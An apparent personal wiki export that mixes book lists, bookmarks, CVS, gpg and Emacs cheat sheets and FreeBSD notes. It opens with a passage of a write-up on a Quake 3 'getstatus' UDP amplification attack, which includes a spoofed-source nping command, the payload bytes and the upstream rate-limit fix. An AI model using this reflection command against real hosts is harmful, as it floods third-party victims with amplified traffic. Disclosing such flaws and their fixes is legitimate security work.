In practice, firstly, the code is arguably buggy, since ~NET_OutOfBandPrint() sends at most ~MAX_MSGLEN-sized packets and secondly, ~MTU-size restrictions may impose a limit on what can be sent over the underlying network. Also, the size of //status// depends on the number of players connected to the server.

The fix, BTW, is simply to add rate limiting [3]:
static leakyBucket_t bucket;

// Allow getstatus to be DoSed relatively easily, but prevent
// excess outbound bandwidth usage when being flooded inbound
if ( SVC_RateLimit( &bucket, 10, 100 ) ) {
	Com_DPrintf( "SVC_Status: rate limit exceeded, dropping request\n" );

Next, we need to find out about the packet format. There are basically three options:
# dive into the ioq3 source (start with ~SV_ConnectionlessPacket() and ~SV_PacketEvent(), end up in common.c, net_chan.c, and msg.c [4])
# sniff an existing client
# use the mighty Google machine [5]
It's four 0xFF bytes followed by the string "getstatus" (a 13 byte message). In nping, this looks as follows:
nping --udp                      \
      --count       1            \
      --dest-ip     $q3_ip       \
      --dest-port   $q3_port     \
      --source-ip   $target_ip   \
      --source-port $target_port \
      --data        "FFFFFFFF676574737461747573"
Of course, Wireshark has built-in support. Anyways, amplification factor >1000. Here's the exploit in action:
# ./q3pwn.sh 27960 31337

Starting Nping 0.6.01 ( http://nmap.org/nping ) at 2013-02-12 10:03 CET
SENT (0.0344s) UDP > ttl=64 id=30743 iplen=41
I used the q3ts server since I didn't have access to a pak0.pk3. 
$ ./a.out -q

Quake 3 engine testing server 0.3
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    aluigi.org

### Command-line arguments to choose infoResponse: ###
-q    Quake 3 arena 1.32 (default!)            port 27960
-s    Soldier of Fortune 2 1.03 GOLD           port 28190
-r    Return to Castle Wolfenstein 1.41        port 27960
-m    Medal of Honor: Allied Assault 1.11 v9   port 12203

--> Quake 3 arena 1.32

Binding UDP port 27960

Waiting clients = GETSTATUS
The reply gets sent to the target port:
$ ncat --udp --listen --verbose
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on
\sv_punkbuster\0\capturelimit\0\g_blueTeam\Pagans\g_redTeam\Stroggs\sv_floodProtect\1\sv_maxPing\0\sv_minPing\0\sv_maxRate\0\sv_hostname\hostname\g_maxGameClients\0\sv_maxclients\8\timelimit\0\fraglimit\50\dmflags\0\version\Q3 1.32 linux-i386 Oct  7 2002\g_gametype\0\protocol\68\mapname\Q3DM1\sv_privateClients\0\sv_allowDownload\0\bot_minplayers\0\gamename\baseq3\g_needpass\0.0 0 "TEST"

[1] http://cr.yp.to/talks/2010.12.28/slides.pdf
[2] http://seclists.org/bugtraq/2012/Mar/127
[3] https://github.com/ioquake/ioq3/commit/4056c9035825b2c6ffef3378b4af78e7e70bb743
[3] Actually, I guess you could instead find out the client command and go from there, but I didn't do that.
[4] http://aluigi.altervista.org/papers/q3info.txt
Randy Farmer has done pioneering work as the architect of some of the earliest and most influential virtual communities.
His book introduces reputation as a generic decision framework.

The basic insight is that many concepts can be expressed in terms of computing and tracking the reputation of an ''entity'' in a ''context''. Interesting examples include
* fraud detection
* spam filtering
* ranking
* trust metrics
though the book focuses more on traditional interpretations of reputation (as in Xbox achievements).

Content is roughly one third ideas, one third examples, and one third implementation. Implementation covers both reputation models and reputation platforms. A reputation model is a specific semantics of reputation, i.e. a way to translate events into constituents of the reputation score of some entity and an interpretation of that reputation score in one or more contexts. Reputation scores are typically calculated by combining various inputs via simple operations (such as aggregation or weighting) to yield a single output. Reputation platforms are the things on top of which reputation models are executed.

The book's main contributions are a grammar for reputation models, a detailed explanation of Yahoo! Answers community moderation, and a description of the Yahoo! Reputation Platform, which is in use across Yahoo!'s range of products. Unfortunately, some of the systems described are patent-encumbered.

Open questions include how more complex, related problems such as elections (voting in favor of a ranking rather than a single candidate) and trust management systems (transitive trust metrics) can be fit into the reputation-based view of the world and whether more complex models, e.g. ~PageRank, can be defined in some extension of the proposed grammar.
|Programming Collective Intelligence|First|Segaran||
|Machine Learning for Hackers|First|Conway, White||
|Machine Learning|International|Mitchell||
|Foundations of Machine Learning|First|Mohri, Rostamizadeh, Talwalkar||
|Goedel, Escher, Bach|20th-anniversary|Hofstadter|X|
|The Society Of Mind|First paperback|Minsky|X|
|Artificial Intelligence||Russel, Norvig||
|The Unofficial Guide to Lego Mindstorms Robots|First|Knudsen|X|
I'm interested in theory, programming languages, theorem proving, distributed systems, security, games, fiction, and ~CrossFit.
Protocol information:
* [[BEPs|http://bittorrent.org/beps/bep_0000.html]]
* [[Protocol Specification|http://wiki.theory.org/BitTorrentSpecification]]
* [[RFC|http://jonas.nitro.dk/bittorrent/bittorrent-rfc.html]]
* [[Niall's notes|http://niallohiggins.com/category/bittorrent/]]

Interesting clients:
* [[BitTyrant|http://bittyrant.cs.washington.edu/]]
* [[Duality|http://sukhbir.in/duality/]]
* [[BitMate|http://www.dritte.org/bitmate.html]]
<<list filter [tag[journal]]>>
|!Energy Drink|!Caffeine|!Calories|!Carbs|
|Club Mate|20mg|15|5g|
|Red Bull Sugarfree|32mg|3|0g|
|Diet Coke|12.8mg|0.4|0g|
|per 100 ml|c

In summary:
Red Bull Sugarfree is the caffeine source of choice for discriminating hackers.
config.options.chkGenerateAnRssFeed = true;
config.options.chkSaveBackups = false;
config.options.txtUserName = "jakob";
Background: #fff
Foreground: #000
PrimaryPale: #aef
PrimaryLight: #8ad
PrimaryMid: #38c
PrimaryDark: #026
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
QuaternaryPale: #cf8
QuaternaryLight: #8f1
QuaternaryMid: #4b0
QuaternaryDark: #140
Error: #f88
|Alan Moore|Watchmen|X|
|Alan Moore|V for Vendetta||
|Alan Moore|From Hell||
|Alan Moore|Yuggoth Cultures and Other Growths||
|Alan Moore|The Courtyard|X|
|Alan Moore|The League of Extraordinary Gentlemen - Volume I|X|
|Alan Moore|The League of Extraordinary Gentlemen - Volume II|X|
|Alan Moore|The League of Extraordinary Gentlemen - Black Dossier||
|Alan Moore|Top 10 - Book One|X|
|Alan Moore|Top 10 - Book Two|X|
|B.P.R.D.|Hollow Earth and Other Stories|X|
|B.P.R.D.|The Soul of Venice and Other Stories|X|
|B.P.R.D.|Plague of Frogs|X|
|B.P.R.D.|The Dead|X|
|B.P.R.D.|The Black Flame|X|
|B.P.R.D.|The Universal Machine|X|
|B.P.R.D.|Garden of Souls||
|B.P.R.D.|Killing Ground||
|Lobster Johnson|The Iron Prometheus|X|
|Buffy|Season 8 - The Long Way Home|X|
|Buffy|Season 8 - No Future for You||
|Buffy|Fray - Future Slayer|X|
|Conan|Born on the Battlefield||
|Conan|The Frost Giant's Daughter|X|
|Conan|The God in the Bowl|X|
|Conan|The Tower of the Elephant|X|
|Conan|The Hall Of The Dead|X|
|Conan|Rogues in the House||
|Conan|The Jewels of Gwahlur||
|Conan|The Demons of Khitai||
|Conan|The Book of Thoth||
|Conan|The Songs of the Dead||
|Conan|The Midnight God|X|
|Fables|Legends in Exile|X|
|Fables|Animal Farm|X|
|Fables|Storybook Love|X|
|Fables|March of the Wooden Soldiers|X|
|Fables|The Mean Seasons|X|
|Fables|Arabian Nights (and Days)|X|
|Fables|Sons of Empire|X|
|Fables|The Good Prince||
|Frank Miller|Batman - The Dark Knight Returns|X|
|Frank Miller|Ronin|X|
|Frank Miller|Hard Boiled|X|
|Frank Miller|The Life and Times of Martha Washington||
|Frank Miller|300||
|Green Langern Corps|Recharge|X|
|Green Lantern Corps|To Be A Lantern|X|
|Green Lantern Corps|The Dark Side of Green|X|
|Green Lantern Corps|The Sinestro Corps Wars 1||
|Hellboy|Seed of Destruction|X|
|Hellboy|Wake the Devil|X|
|Hellboy|The Chained Coffin and Others|X|
|Hellboy|The Right Hand of Doom|X|
|Hellboy|Conqueror Worm|X|
|Hellboy|Strange Places|X|
|Hellboy|The Troll Witch and Others|X|
|Hellboy|Darkness Calls||
|Hellboy|Hellboy Junior|X|
|Iron Empires|Faith Conquers|X|
|Iron Empires|Sheva's War|X|
|Marvel Zombies|Marvel Zombies|X|
|Marvel Zombies|Marvel Zombies vs. The Army of Darkness|X|
|Marvel Zombies|Dead Days||
|Marvel Zombies|Marvel Zombies 2||
|Marvel Zombies|Marvel Apes||
|Misc|Gotham by Gaslight|X|
|Misc|The Superman Madman Hullabaloo|X|
|Runaways|Pride & Joy|X|
|Runaways|Teenage Wasteland|X|
|Runaways|Good Die Young|X|
|Runaways|True Believers|X|
|Runaways|Escape to New York|X|
|Runaways|Parental Guidance|X|
|Runaways|Live Fast|X|
|Sam & Max|Surfin' the Highway|X|
|Serenity|Those Left Behind|X|
|Serenity|Better Days||
|The Goon|Rough Stuff|X|
|The Goon|Nothin' But Misery|X|
|The Goon|My Murderous Childhood|X|
|The Goon|Heaps of Ruination|X|
|The Goon|Virtue and the Grim Consequences Thereof|X|
|The Goon|Wicked Inclinations|X|
|The Sandman|Preludes and Nocturnes|X|
|The Sandman|The Doll's House|X|
|The Sandman|Dream Country||
|The Sandman|Season of Mists||
|The Sandman|A Game of You||
|The Sandman|Fables and Reflections||
|The Sandman|Brief Lives||
|The Sandman|Worlds' End||
|The Sandman|The Kindly Ones||
|The Sandman|The Wake||
|Transmetropolitan|Back on the Street|X|
|Transmetropolitan|Lust for Life||
|Transmetropolitan|Year of the Bastard||
|Transmetropolitan|The New Scum||
|Transmetropolitan|Lonely City||
|Transmetropolitan|Gouge Away||
|Transmetropolitan|Spider's Thrash||
|Transmetropolitan|The Cure||
|Transmetropolitan|One More Time||
|Y The Last Man|Unmanned|X|
|Y The Last Man|Cycles|X|
|Y The Last Man|One Small Step|X|
|Y The Last Man|Safeword|X|
|Y The Last Man|Ring Of Truth|X|
|Y The Last Man|Girl on Girl|X|
|Y The Last Man|Paper Dolls|X|
|Y The Last Man|Kimono Dragons|X|
|Y The Last Man|Motherland|X|
|Y The Last Man|Whys and Wherefores|X|
<<list filter [tag[csbib]]>>
# Symlinks require special care

# Initialization
$ export CVSROOT=":local:$HOME/cvs/.repo"
$ cvs -d $CVSROOT init

# Configuration
$ echo "foo" >> $HOME/.cvsignore
$ echo "*.jpg -k 'b'" >> $HOME/.cvswrappers #binary files

# New project
$ cd project
$ cvs import -m "initial checkin" project vendor-tag release-tag
$ cd ..
$ mv project project-old
$ cvs checkout project
$ diff -r project project-old
$ rm -rf project-old

# Basic usage
$ cd project
$ emacs file
$ cvs diff file
$ cvs commit -m "log message" [file]

# Info
$ cvs -Q status
$ cvs log
$ cvs -n -q update

# Adding files
$ cvs add dir # non-recursive
$ cvs add file
$ cvs add -kb binary

# Removing files
$ cvs remove -f file

$ cvs remove -f dir/*
$ cvs update -P

$ rm file # ooops
$ cvs update file

# Renaming files (iterate for dirs)
$ mv old new
$ cvs remove old
$ cvs add new
$ cvs commit -m "renamed old to new" [-r rev] old new

# Keyword substitution
$ echo 'static char *cvsid = "$Id$"' >> foo.c
$ gcc foo.c
$ ident a.out
*Character planning:
M-. and M-, #erltags
M-TAB       #autocompletion
C-c C-d L   #reload module
C-c C-d a   #apropos

C-c C-d l   #process manager
  q         #quit
  u         #update
  k         #kill
  RET       #trace
  i         #info
  b         #backtrace
  m         #mailbox

C-c C-d i   #toggle interpretation
C-x SPC     #toggle breakpoint
C-c C-d m   #monitor
  RET       #attach
    SPC     #step into
    n       #step over
    c       #continue
    u       #show prev stack frame
    d       #show next stack frame
    b       #toggle breakpoint
    q       #kill attach buffer
    h       #help
  q         #hide monitor buffer
  k         #kill monitor
C-c C-d s   #synchronise breakpoints

C-c C-d e   #interactive session
C-j         #eval expr on current line
C-M-x       #eval function before point

C-c C-d p   #profile expr
  RET       #more information
* Need some tree newer than ~June 2012
* I run ~FreeBSD 9.1 ~RC3
* Might have to use MBR partitioning if you have an SSD
** I have two partitions: / and swap
* X11:
# echo WITH_NEW_XORG=YES >> /etc/make.conf
# echo WITH_KMS=YES >> /etc/make.conf
# cd /usr/ports/x11/xorg
# make install
# cd /usr/ports/x11-drivers/xf86-video-intel
# make install
# echo 'hald_enable="YES"' >> /etc/rc.conf
# echo 'dbus_enable="YES"' >> /etc/rc.conf
# reboot
$ startx
* In case of problems, make sure to grep the ''mobile'', ''x11'', and ''current'' lists
Much like FreeBSDOnThinkpadX220, with the following differences:
* BIOS: Secure Boot: Disable
* BIOS: UEFI/Legacy Boot: Both
* Didn't have to MBR partition (default partitioning scheme works)
* I run ~FreeBSD 9.1-RELEASE
* WLAN card isn't supported
The Google Labs Aptitude Test, archived here for posterity.


|Game Design||Bates||
|Swords & Circuitry||Halford||
|The Art of Computer Game Design|Kindle|Crawford|X|
|Rules of Play|Kindle|Salen, Zimmerman||
|Theory of Fun for Game Design|Kindle|Koster|X|
To get started with this blank [[TiddlyWiki]], you'll need to modify the following tiddlers:
* [[SiteTitle]] & [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* [[MainMenu]]: The menu (usually on the left)
* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>
$ gpg --gen-key
$ gpg --export --armor
$ gpg --import FILE
$ gpg --list-keys
$ gpg --list-secret-keys
$ gpg --encrypt RECIPIENT DATA
$ gpg --decrypt DATA
$ gpg --detach-sign --armor DATA
My bookmarks.
<<list filter [tag[hotlist]]>>
[[Dictionary of Algorithms and Data Structures|http://www.nist.gov/dads/]]
[[Dictionary of Programming Languages|http://cgibin.erols.com/ziring/cgi-bin/cep/cep.pl]]
[[The Prolog Dictionary|http://www.cse.unsw.edu.au/~billw/prologdict.html]]
[[The Original Hacker's Dictionary|http://www.dourish.com/goodies/jargon.html]]
[[The Jargon File|http://www.catb.org/jargon/]]
[[On-line Dictionary of Combinatorics|http://www.southernct.edu/~fields/comb_dic/]]

[[Deja News Research Service|http://groups.google.com/]]
[[Real World Tech|http://www.realworldtech.com/index.cfm]]

[[ICFP Contests|http://en.wikipedia.org/wiki/ICFP_Contest]]
[[The Prolog Programming Contests|http://www.cs.kuleuven.be/~bmd/PrologProgrammingContests/]]
[[ITA Software Puzzle Archive|http://www.itasoftware.com/careers/puzzle_archive.html]]
[[Insecure Programming by example|http://community.corest.com/~gera/InsecureProgramming/]]
[[DefCon CTF Qualifiers|http://nopsr.us/]]
[[DefCon CTF|http://www.kenshoto.com/]]

[[Startups Wiki|http://www.gabrielweinberg.com/startupswiki/]]
[[Ask HN|http://remembersaurus.com/askhn.html]]
[[HN Resources|http://hnresources.com/]]
[[Amit Singh|http://www.kernelthread.com/]]
[[Anders Sandberg|http://www.nada.kth.se/~asa/]]
[[Andrew Plotkin|http://www.eblong.com/zarf/home.html]]
[[Andrew Tridgell|http://samba.org/~tridge/]]
[[Andrew W. Appel|http://www.cs.princeton.edu/~appel/]]
[[Anil Madhavapeddy|http://anil.recoil.org/]]
[[Ben Laurie|http://www.links.org/]]
[[Bjoern Gustavsson|http://www.erlang.se/~bjorn/]]
[[Bram Cohen|http://bitconjurer.org/]]
[[Brian D. Carlstrom|http://carlstrom.com/]]
[[Butler W. Lampson|http://research.microsoft.com/Lampson/]]
[[Carl Hewitt|http://carlhewitt.info/]]
[[Charles R. Landau|http://www.macslab.com/charlie.html]]
[[C H Forsyth|http://www.terzarima.net/]]
[[Chris Lattner|http://nondot.org/sabre/]]
[[Christopher W. Fraser|http://www.well.com/~cwf/]]
[[Chuck Liang|http://cs.hofstra.edu/~cscccl/]]
[[Chung-chieh Shan|http://www.cs.rutgers.edu/~ccshan/]]
[[Damien Miller|http://www.mindrot.org/~djm/]]
[[Dan Kegel|http://www.kegel.com/]]
[[Dan Moniz|http://aezenix.com/~dnm/]]
[[Darius Bacon|http://www.accesscom.com/~darius/]]
[[David R. Hanson|http://www.drhanson.net/]]
[[Dawson Engler|http://www.stanford.edu/~engler/]]
[[Dennis M. Ritchie|http://cm.bell-labs.com/who/dmr/]]
[[D.J. Bernstein|http://cr.yp.to/]]
[[Donald E. Knuth|http://www-cs-faculty.stanford.edu/~knuth/]]
[[Douglas Crockford|http://www.crockford.com/]]
[[Dug Song|http://www.monkey.org/~dugsong/]]
[[Eddie Kohler|http://www.cs.ucla.edu/~kohler/]]
[[E.W. Dijkstra|http://www.cs.utexas.edu/users/EWD/]]
[[Frank Pfenning|http://www.cs.cmu.edu/~fp/]]
[[Gene Michael Stover|http://cybertiggyr.com/gene/]]
[[Gordon Bell|http://research.microsoft.com/users/GBell/]]
[[Graydon Hoare|http://www.venge.net/]]
[[Greg Lehey|http://www.lemis.com/grog/index.html]]
[[Greg Morrisett|http://www.eecs.harvard.edu/~greg/]]
[[Gul Agha|http://osl.cs.uiuc.edu/people?user=agha]]
[[Henry Baker|http://home.pipeline.com/~hbaker1/]]
[[Henry Lieberman|http://web.media.mit.edu/~lieber/]]
[[James E. Donnelley|http://www.webstart.com/jed/]]
[[Jamie Zawinski|http://www.jwz.org/]]
[[Joe Armstrong|http://www.sics.se/~joe/]]
[[John Gilmore|http://www.toad.com/]]
[[John McCarthy|http://www-formal.stanford.edu/jmc/]]
[[Jonathan Rees|http://mumble.net/~jar/]]
[[Jonathan S. Shapiro|http://srl.cs.jhu.edu/~shap/]]
[[Joseph R. Kiniry|http://secure.ucd.ie/~kiniry/]]
[[J. Storrs Hall|http://autogeny.org/]]
[[J. Strother Moore|http://www.cs.utexas.edu/users/moore/]]
[[Ka-Ping Yee|http://zesty.ca/]]
[[Ken Thompson|http://plan9.bell-labs.com/who/ken/]]
[[Kevin Reid|http://switchb.org/kpreid/]]
[[Kostis Sagonas|http://user.it.uu.se/~kostis/]]
[[Kragen Sitaker|http://www.canonical.org/~kragen/]]
[[Lennart Augustsson|http://www.cs.chalmers.se/~augustss/]]
[[Leslie Lamport|http://www.lamport.org/]]
[[Luca Cardelli|http://lucacardelli.name/]]
[[Luke Gorrie|http://fresh.homeunix.net/~luke/]]
[[M. Anton Ertl|http://www.complang.tuwien.ac.at/anton/]]
[[Mark S. Miller|http://caplet.com/]]
[[Marc Stiegler|http://www.skyhunter.com/marc.html]]
[[Marius a. Eriksen|http://monkey.org/~marius/]]
[[Markus Triska|http://stud4.tuwien.ac.at/~e0225855/index.html]]
[[Matt Dillon|http://apollo.backplane.com/]]
[[Matthias Blume|http://ttic.uchicago.edu/~blume/]]
[[M. Frans Kaashoek|http://pdos.csail.mit.edu/~kaashoek/]]
[[Michal Zalewski|http://lcamtuf.coredump.cx/]]
[[Mike Schiffman|http://www.packetfactory.net/]]
[[Neng-Fa Zhou|http://www.sci.brooklyn.cuny.edu/~zhou/]]
[[Nick Szabo|http://szabo.best.vwh.net/]]
[[Niels Provos|http://www.citi.umich.edu/u/provos/]]
[[Norman Hardy|http://cap-lore.com/]]
[[Norman Ramsey|http://www.cs.tufts.edu/~nr/index.html]]
[[Oleg Kiselyov|http://okmij.org/ftp/]]
[[Olin Shivers|http://www.ccs.neu.edu/home/shivers/]]
[[Olivier Danvy|http://www.brics.dk/~danvy/]]
[[Per Brinch Hansen|http://brinch-hansen.net/]]
[[Petar Maymounkov|http://pdos.csail.mit.edu/~petar/]]
[[Peter Gutmann|http://www.cs.auckland.ac.nz/~pgut001/]]
[[Peter Norvig|http://norvig.com/]]
[[Peter Schachte|http://www.cs.mu.oz.au/~schachte/]]
[[Peter Stuckey|http://www.cs.mu.oz.au/~pjs/]]
[[Peter Van Roy|http://www.info.ucl.ac.be/~pvr/cvvanroy.html]]
[[Philip Wadler|http://homepages.inf.ed.ac.uk/wadler/]]
[[Philippe Biondi|http://secdev.org/]]
[[Richard A. Kelsey|http://mumble.net/~kelsey/]]
[[Richard O'Keefe|http://www.cs.otago.ac.nz/staffpriv/ok/]]
[[Rob Pike|http://herpolhode.com/rob/]]
[[Robert Kowalski|http://www.doc.ic.ac.uk/~rak/]]
[[Robin Milner|http://www.cl.cam.ac.uk/~rm135/]]
[[Ron Garret|http://www.flownet.com/gat/]]
[[Ronald Rivest|http://theory.lcs.mit.edu/~rivest/]]
[[Ross Anderson|http://www.cl.cam.ac.uk/~rja14/]]
[[Russ Cox|http://swtch.com/~rsc/]]
[[Stephen Weeks|http://sweeks.com/]]
[[Steven M. Bellovin |http://www.cs.columbia.edu/~smb/]]
[[Tavis Ormandy|http://taviso.decsystem.org/]]
[[Taylor R. Campbell|http://mumble.net/~campbell/]]
[[Tim Newsham|http://www.thenewsh.com/~newsham/]]
[[Todd Proebsting|http://research.microsoft.com/~toddpro/]]
[[Tom Lord|http://regexps.srparish.net/www/]]
[[Tom Knight|http://people.csail.mit.edu/tk/]]
[[Tom Van Vleck|http://www.multicians.org/thvv/tvv-home.html]]
[[Tony Hoare|http://research.microsoft.com/~thoare/]]
[[Ulrich Neumerkel|http://www.complang.tuwien.ac.at/ulrich/]]
[[Vijay A. Saraswat|http://www.saraswat.org/]]
[[William D Clinger|http://www.ccs.neu.edu/home/will/]]
[[W. Richard Stevens|http://www.kohala.com/start/]]
[[Xavier Leroy|http://pauillac.inria.fr/~xleroy/]]
[[Yichun Zhang|http://agentzh.org/]]
[[Zoltan Somogyi|http://www.cs.mu.oz.au/~zs/]]

[[Assembly Gems|http://www.df.lth.se/~john_e/]]
[[Paul Hsieh's x86 Asm Page|http://www.azillionmonkeys.com/qed/asm.html]]
[[int 80h|http://www.int80h.org/]]
[[x86 Assembly Language FAQ|http://www.frontiernet.net/~fys/faq/]]
[[Software optimization resources|http://www.agner.org/optimize/]]

[[GCC Resource Center|http://www.cse.iitb.ac.in/grc]]
[[LLVM's clang|http://clang.llvm.org/]]
[[diet libc|http://www.fefe.de/dietlibc/]]
[[Indian Hill C Style and Coding Standards|http://www.psgd.org/paul/docs/cstyle/cstyle.htm]]
[[Lysator C Page|http://www.lysator.liu.se/c/]]
[[Dinkum Compleat Libs|http://www.dinkumware.com/manuals/]]

!!Shell & AWK
[[POSIX Shell Reference|http://shellhaters.heroku.com/posix]]
[[Arnold Robbins's AWK FTP Server|ftp://ftp.freefriends.org/arnold/Awkstuff/]]

[[GNU Emacs Lisp Reference Manual|http://www.zvon.org/other/elisp/Output/index.html]]
[[Community Scheme Wiki|http://community.schemewiki.org/]]
[[The Internet Scheme Repository|http://www.cs.indiana.edu/scheme-repository/home.html]]
[[SchemePunks Wiki|http://scheme-punks.org/wiki/index.php?title=Main_Page]]
[[CMU AI Repository|http://www.cs.cmu.edu/afs/cs.cmu.edu/project/ai-repository/ai/0.html]]


[[Proof General|http://proofgeneral.inf.ed.ac.uk/]]

[[Computer Science Laboratory|http://www.cs-lab.org/]]


[[UK TeX Archive|http://www.tex.ac.uk/]]
[[TeX References|http://www.miwie.org/tex-refs/]]
[[ConTeXt wiki|http://wiki.contextgarden.net/Main_Page]]
[[LaTeX for Logicians|http://www.phil.cam.ac.uk/teaching_staff/Smith/LaTeX/]]
[[LaTeX Beamer|http://latex-beamer.sourceforge.net/]]
[[Google Scholar Beta|http://scholar.google.com/]]
[[The Collection of Computer Science Bibliographies|http://liinwww.ira.uka.de/bibliography/]]
[[ Machine Learning Surveys|http://www.mlsurveys.com/]]
[[OpenBSD Documentation|http://openbsd.org/docum.html]]
[[Cross-Referencing Linux|http://lxr.linux.no/]]
[[FreeBSD and Linux Kernel Cross-Reference|http://fxr.watson.org/]]
[[UNIX Sysadmin Resources|http://www.sunhelp.org/unix-sysadmin-resources/]]

[[Emacs Wiki|http://www.emacswiki.org/cgi-bin/wiki]]
[[Emacs Lisp List|http://www.damtp.cam.ac.uk/user/sje30/emacs/ell.html]]

[[Terminus Font|http://terminus-font.sourceforge.net/]]

[[SSH FAQ|http://www.employees.org/~satch/ssh/faq/]]
[[Darren Tucker's OpenSSH Page|http://www.zip.com.au/~dtucker/openssh/]]




!!Version Control
[[Revctrl Wiki|http://revctrl.org/]]

!!Development Tools


!!Network Debugging

[[Aircrack NG|http://www.aircrack-ng.org/]]


[[The Catalog of Compiler Construction Tools|http://catalog.compilertools.net/]]
[[The Program Transformation Wiki|http://www.program-transformation.org/Transform/WebHome]]
[[The GC Page|http://www.cs.kent.ac.uk/people/staff/rej/gc.html]]
[[The Memory Management Reference|http://www.memorymanagement.org/]]
[[GC FAQ|http://www.iecc.com/gclist/GC-faq.html]]
[[Old TUNES|http://codespeak.net/cliki.tunes.org/]]
[[Document Archive|http://doc.cat-v.org/]]
[[The OS Resource Center|http://www.nondot.org/sabre/os/articles]]
[[Root Labs|http://root.org/]]
[[Cloud Computing Wiki|http://sites.google.com/site/cloudcomputingwiki/]]
[[Outages Wiki|http://www.outages.org/index.php/Main_Page]]
[[AOD Wiki|http://aodfaq.wikispaces.com/]]

[[CPU Info Center|http://bwrc.eecs.berkeley.edu/CIC/]]
[[Chip Directory|http://www.xs4all.nl/~ganswijk/chipdir/]]
[[Comp Arch  Page|http://www.cs.wisc.edu/~arch/www/]]
[[DDJ Microprocessor Center|http://x86.org/]]
[[Comp Arch Wiki|http://semipublic.comp-arch.net]]
[[UNIX surplus|http://unixsurplus.com/]]

[[Synergy Networks|http://www.synnergy.net/downloads/]]
[[CU Digest|http://cu-digest.org/]]
[[Exploit DB|http://www.exploit-db.com/]]
[[Spaf's Hotlist|http://www.cerias.purdue.edu/tools_and_resources/hotlist/]]
[[Cypherpunks Archives|http://cypherpunks.venona.com/]]
[[Cypherpunks Tonga|https://www.cypherpunks.to/]]
[[Fravia's archive pages of reverse engineering|http://woodmann.com/fravia/index.htm]]
[[Electronic Library of Mathematics|http://www.emis.de/ELibM.html]]
[[How To Become a Pure Mathematician|http://hbpms.blogspot.com/]]
[[The On-Line Encyclopedia of Integer Sequences|http://oeis.org/]]
[[Proof Wiki|http://www.proofwiki.org/wiki/Main_Page]]

[[Mathematical Logic around the world|http://world.logic.at/]]

!!Theoretical CS
[[Complexity Zoo|https://complexityzoo.uwaterloo.ca/Complexity_Zoo]]
[[The Stony Brook Algorithm Repository|http://www.cs.sunysb.edu/~algorith/]]

!!Formal Methods
[[Formal Methods Virtual Library|http://vl.fmnet.info/]]
[[Formal Methods Education Resources|http://www.cs.indiana.edu/formal-methods-education/]]
[[Formal Methods Wiki|http://formalmethods.wikia.com/wiki/]]
**bwin Poker
**Walking Dead (iPad only)
**Instagram (iPhone only)
**Netflix (iPad only)
**~YouTube (iPad only)
**Keynote (iPad only)
**Remote (iPhone only)
**Workout Hero (iPhone only)
**~WhatsApp (iPhone only)
**Prompt (iPad only)
**[Planet Primates]
**Issues (iPhone only)
**[~GitHub] (iPad only)
**Foursquare (iPhone only)
**Duo Mobile (iPhone only)
**Authenticator (iPhone only)
**~BankID (iPhone only)
Before ~WoW, MMORPG ads looked like this.



<link rel="shortcut icon" href="images/favicons/favicon_bliki.png" type="image/png">
<link rel="apple-touch-icon" href="images/favicons/ios_bliki.png" type="image/png">
|~Chade-Meng Tan|Search Inside Yourself||
|Charles Mackay|Extraordinary Popular Delusions||
|Dan Sinker|The Fucking Epic Twitter Quest of @~MayorEmanuel|X|
|David Kushner|Masters of Doom||
|David Sirlin|Playing to Win|X|
|Douglas Coupland|Microserfs||
|Fighting Fantasy|Creature of Havoc||
|Hakim Bey|T.A.Z.||
|Harry Frankfurt|On Bullshit|X|
|Jack London|The Sea Wolf||
|Jared Diamond|Guns, Germs, and Steel||
|Jeff Potter|Cooking for Geeks|X|
|Patrick ~McCray|The Visioneers||
|Robert Heilbroner|The Worldly Philosophers||
|Robert Pirsig|Zen and the Art of Motorcycle Maintenance||
|Sun Tzu|Art of War|X|
|William Shakespeare|Collected Works|X|
|William Yeats|Collected Works|X|
!!Mailing Lists
*Clojure Google Group

|Programming From The Ground Up||Bartlett||
|Professional Assembly Language|First|Blum||
|Zen of Assembly Language|First|Abrash||
|Zen of Code Optimization|First|Abrash||
|The C Programming Language|Second|Kernighan, Ritchie|X|
|The C Answer Book|Second|Tondo, Gimpel|X|
|The Standard C Library|First|Plauger||
|C Traps and Pitfalls|Reprinted|Koenig|X|
|Expert C Programming|First|van der Linden|X|
|C Interfaces and Implementations|First|Hanson||
|C Programming ~FAQs|First|Summit|X|
|C A Reference Manual|Fifth|Harbison, Steele|X|
|Hacker's Delight||Warren||
|The C++ Programming Language|Special|Stroustrup|X|
|Industrial Strength C++|First|Henricson, Nyquist|X|
|Concurrent Programming in Erlang|Second|Armstrong, Virding, Wikstrom, Williams|X|
|Programming Erlang|First|Armstrong|X|
|Erlang Programming|First|Cesarini, Thompson|X|
|Erlang and OTP in Action|First|Logan, Merritt, Carlsson|X|
|Starting Forth|Second|Brodie|X|
|Thinking Forth|2004|Brodie|X|
|HTML & XHTML Pocket Reference|Third|Robbins|X|
|Just Java|Sixth|van der Linden|X|
|Java in a Nutshell|Fourth|Flanagan|X|
|Concurrent Programming in Java|Second|Lea|X|
|Java Concurrency in Practice|First|Goetz|X|
|Java Generics and Collections|First|Naftalin, Wadler|X|
|The Java Virtual Machine Specification|Second|Lindholm, Yellin||
|~JavaScript The Good Parts|First|Crockford|X|
|~JavaScript The Definitive Guide|Sixth|Flanagan|X|
|~JavaScript Pocket Reference|Third|Flanagan||
|Pro ~JavaScript Techniques|First|Resig|X|
|Secrets of the ~JavaScript Ninja||Resig||
|The Little Schemer|Fourth|Friedman, Felleisen|X|
|The Seasoned Schemer|First|Friedman, Felleisen|X|
|The Reasoned Schemer|First|Friedman, Byrd, Kiselyov|X|
|Structure and Interpretation of Computer Programs|Second|Abelson, Sussman|X|
|The Scheme Programming Language|Third|Dybvig|X|
|Writing GNU Emacs Extensions|First|Glickstein|X|
|Lisp 1.5 Programmer's Manual||~McCarthy||
|Common Lisp the Language|Second|Steele|X|
|On Lisp||Graham||
|Paradigms of AI Programming|First|Norvig||
|The Art of the Metaobject Protocol|First|Kiczales, des Rivieres, Bobrow||
|Programming Clojure|First|Halloway|X|
